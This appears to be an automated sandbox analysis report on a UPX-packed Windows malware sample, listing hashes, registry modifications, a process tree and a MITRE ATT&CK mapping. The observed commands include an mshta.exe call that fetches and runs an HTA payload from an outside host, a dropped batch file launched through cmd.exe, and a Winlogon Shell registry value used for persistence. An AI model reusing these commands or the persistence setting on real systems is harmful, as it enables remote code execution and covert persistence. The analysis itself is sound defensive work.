3383331a239a845adc5491cae5c4c5f506d995512f39cf3274bd2c9a02ee7aef

Reason

Machine shutdown: "{\"level\":\"info\",\"time\":\"2024-04-21T13:35:03Z\",\"message\":\"Dirty snapshot: /var/lib/sandbox/hatchvm/win10v2004-20240412-en/instance_11-dirty.qcow2\"}"

General

Target

ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe
Size

319KB
MD5

ff643925ab1766e8824df0ea24bd360d
SHA1

51d1d7776a51c091dbce0941d05bacf17558ed29
SHA256

3383331a239a845adc5491cae5c4c5f506d995512f39cf3274bd2c9a02ee7aef
SHA512

413ef73606c2d8ec0ccd4307da86e0ca2aa5825ee9f072b5376920cfd06d4a752af92c29e54d2b6568432a28c453c8442eab492659bb7562bcd401b5063c4b0d
SSDEEP

6144:IcZHcar1Y1F4kTtCE8y7gSCpgUXGqyzLlxE95/wWT2tHR+weaZ:fHNWw7dy7gS9UX2YPS2a

Score

10^/10

persistence upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://rerererererere.com/inst.php?id=forbidden

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2177723727-746291240-1644359950-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\hdddoctor.exe"	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2177723727-746291240-1644359950-1000\Control Panel\International\Geo\Nation	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/1780-0-0x0000000000400000-0x000000000062F000-memory.dmp	upx
behavioral2/memory/1780-7-0x0000000000400000-0x000000000062F000-memory.dmp	upx
behavioral2/memory/1780-8-0x0000000000400000-0x000000000062F000-memory.dmp	upx
behavioral2/memory/1780-9-0x0000000000400000-0x000000000062F000-memory.dmp	upx
behavioral2/memory/1780-11-0x0000000000400000-0x000000000062F000-memory.dmp	upx
behavioral2/memory/1780-12-0x0000000000400000-0x000000000062F000-memory.dmp	upx
behavioral2/memory/1780-13-0x0000000000400000-0x000000000062F000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 15 IoCs

Processes:

LogonUI.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "134"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe

description pid process

Token: SeShutdownPrivilege 1780 ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exeLogonUI.exe

pid process

1780 ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe
1780 ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe
4560 LogonUI.exe

description	pid	process
Token: SeShutdownPrivilege	1780	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe

pid	process
1780	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe
1780	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe
4560	LogonUI.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe

description	pid	process	target process
PID 1780 wrote to memory of 4204	1780	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe	mshta.exe
PID 1780 wrote to memory of 4204	1780	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe	mshta.exe
PID 1780 wrote to memory of 4204	1780	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe	mshta.exe
PID 1780 wrote to memory of 4520	1780	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe	cmd.exe
PID 1780 wrote to memory of 4520	1780	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe	cmd.exe
PID 1780 wrote to memory of 4520	1780	ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\ff643925ab1766e8824df0ea24bd360d_JaffaCakes118.exe"
1⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1780

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" http://rerererererere.com/inst.php?id=forbidden
2⤵
PID:4204

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\dgfdgsdf.bat" "
2⤵
PID:4520

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa395f855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:4560

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Winlogon Helper DLL

1

T1547.004

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Roaming\dgfdgsdf.bat
Filesize
263B

MD5
732174cfd42a063da51e7235505aae39

SHA1
532ac8a1c574c5a0e067889e5984415ef886ced3

SHA256
bcad8623dd34eb3dad92d91f52924051fca01fae4acf00ce97887071b3ff8688

SHA512
a150d580ea302feb0712bf7baba29b2bc47cc03d310df5aee7c4661bd2674d6357ee05ae12c6a79ceeae7b1aa09440d17d7a21ee64b60d9f9378ed09d03218c1

Download Submit
memory/1780-0-0x0000000000400000-0x000000000062F000-memory.dmp

Filesize
2.2MB

Download
memory/1780-1-0x0000000000800000-0x0000000000801000-memory.dmp

Filesize
4KB

Download
memory/1780-7-0x0000000000400000-0x000000000062F000-memory.dmp

Filesize
2.2MB

Download
memory/1780-8-0x0000000000400000-0x000000000062F000-memory.dmp

Filesize
2.2MB

Download
memory/1780-9-0x0000000000400000-0x000000000062F000-memory.dmp

Filesize
2.2MB

Download
memory/1780-10-0x0000000000800000-0x0000000000801000-memory.dmp

Filesize
4KB

Download
memory/1780-11-0x0000000000400000-0x000000000062F000-memory.dmp

Filesize
2.2MB

Download
memory/1780-12-0x0000000000400000-0x000000000062F000-memory.dmp

Filesize
2.2MB

Download
memory/1780-13-0x0000000000400000-0x000000000062F000-memory.dmp

Filesize
2.2MB

Download

Analysis

Sharing

Errors

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads